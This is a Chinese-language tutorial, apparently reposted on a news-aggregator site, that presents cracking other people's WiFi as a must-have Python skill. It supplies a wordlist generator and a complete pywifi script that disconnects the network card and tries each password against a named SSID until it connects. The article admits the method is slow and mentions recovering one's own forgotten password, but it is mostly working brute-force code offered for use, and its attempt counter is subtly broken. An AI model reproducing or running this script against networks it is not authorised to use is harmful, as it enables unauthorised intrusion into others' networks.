tft每日頭條

 > 生活

 > 思路源碼利用Python破解WIFI密碼詳解

思路源碼利用Python破解WIFI密碼詳解

生活 更新时间:2024-09-08 21:19:52

思路源碼利用Python破解WIFI密碼詳解(思路源碼利用Python破解WIFI密碼詳解)1

前言

WIFI破解,Python程序員必學技能。WIFI已經完全普及,現在Python程序員沒網,走到哪裡都不怕!

想要WIFI破解,python 字典,這是是少不了的。熱點加弱口令也是核心。字典自己加精,你的字典有強大,你能破解的WIFI就越多。

私信小編001即可獲取大量Python學習資料!

思路源碼利用Python破解WIFI密碼詳解(思路源碼利用Python破解WIFI密碼詳解)2

原理

就是操縱網卡,一個一個的試密碼本上的密碼,直到密碼正确,這時電腦也會連上這個wifi。

Python腳本就是對密碼本中的密碼,一個一個的嘗試,如果密碼正确,那麼就建一個名字為wifi名字的文件,并把正确的密碼記錄在裡面。

字典自動生成Python代碼:

密碼本的獲取:密碼本可以選擇自己建。使用的是itertools這個包。

import itertools key = '0123456789.qwertyuiopasdfghjklzxcvbnm'#密碼包含這些字符 passwords = itertools.product(key,repeat = 3) f = open('password.txt','a') for i in passwords: f.write("".join(i)) f.write('\n') f.close()

pywifi模塊

這個模塊不能使用pip install 安裝,去pywifi 官方文檔下載壓縮包,找到\Lib\site-packages路徑,将包解壓之後複制到這裡,雙擊setup.py就歐克了。

思路源碼利用Python破解WIFI密碼詳解(思路源碼利用Python破解WIFI密碼詳解)3

思路源碼利用Python破解WIFI密碼詳解(思路源碼利用Python破解WIFI密碼詳解)4

思路源碼利用Python破解WIFI密碼詳解(思路源碼利用Python破解WIFI密碼詳解)5

從腳本來看,嘗試一個密碼就需要2s,即便是把8位純數字的密碼嘗試一遍,那麼需要的時間t為:

思路源碼利用Python破解WIFI密碼詳解(思路源碼利用Python破解WIFI密碼詳解)6

這還隻是8位的純數字密碼。

所以,想要通過pywifi破解密碼根本就不可能。當然,可以通過多線程之類的縮短時間。

但是,如果你不幸忘記了某個wifi的密碼,但是你知道它有可能是幾個或者幾十個密碼中的一個,那麼就可以通過腳本來把密碼找出來。

(其實吧,直接把wifi reset或許更快。。)

真的想破解wifi密碼,還是裝虛拟機靠譜。

Python完整源代碼:

import pywifi import time from pywifi import const class PoJie(): def __init__(self,name): self.name = name wifi = pywifi.PyWiFi() # 抓取網卡接口 self.iface = wifi.interfaces()[0]#獲取網卡 self.iface.disconnect() # 斷開所有連接 time.sleep(1) if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]: # 測試是否已經斷開網卡連接 print("已經成功斷開網卡連接") else: print("網卡連接斷開失敗") def solve(self): x = 1 f = open('password.txt','r') lines = f.readlines() for line in lines: print('正在嘗試第%d次'%(x)) x = 1 profile = pywifi.Profile()#創建wifi配置對象 profile.ssid = self.name#wifi名稱 profile.key = line#WiFi密碼 profile.auth = const.AUTH_ALG_OPEN#網卡的開放 profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法,一般是 WPA2PSK profile.cipher = const.CIPHER_TYPE_CCMP#加密單元 self.iface.remove_all_network_profiles()#删除所有的wifi文件 tem_profile = self.iface.add_network_profile(profile)#添加新的WiFi文件 self.iface.connect(tem_profile)#連接 time.sleep(3)#連接需要時間 if self.iface.status() == const.IFACE_CONNECTED:#判斷是否連接成功 print("成功連接,密碼是%s"%(line)) break else: print("連接失敗,密碼是%s"%(line)) if __name__ == "__main__": name = 'Honor V10' obj = PoJie(name = name) obj.solve()

,

更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!

查看全部

相关生活资讯推荐

热门生活资讯推荐

网友关注

Copyright 2023-2024 - www.tftnews.com All Rights Reserved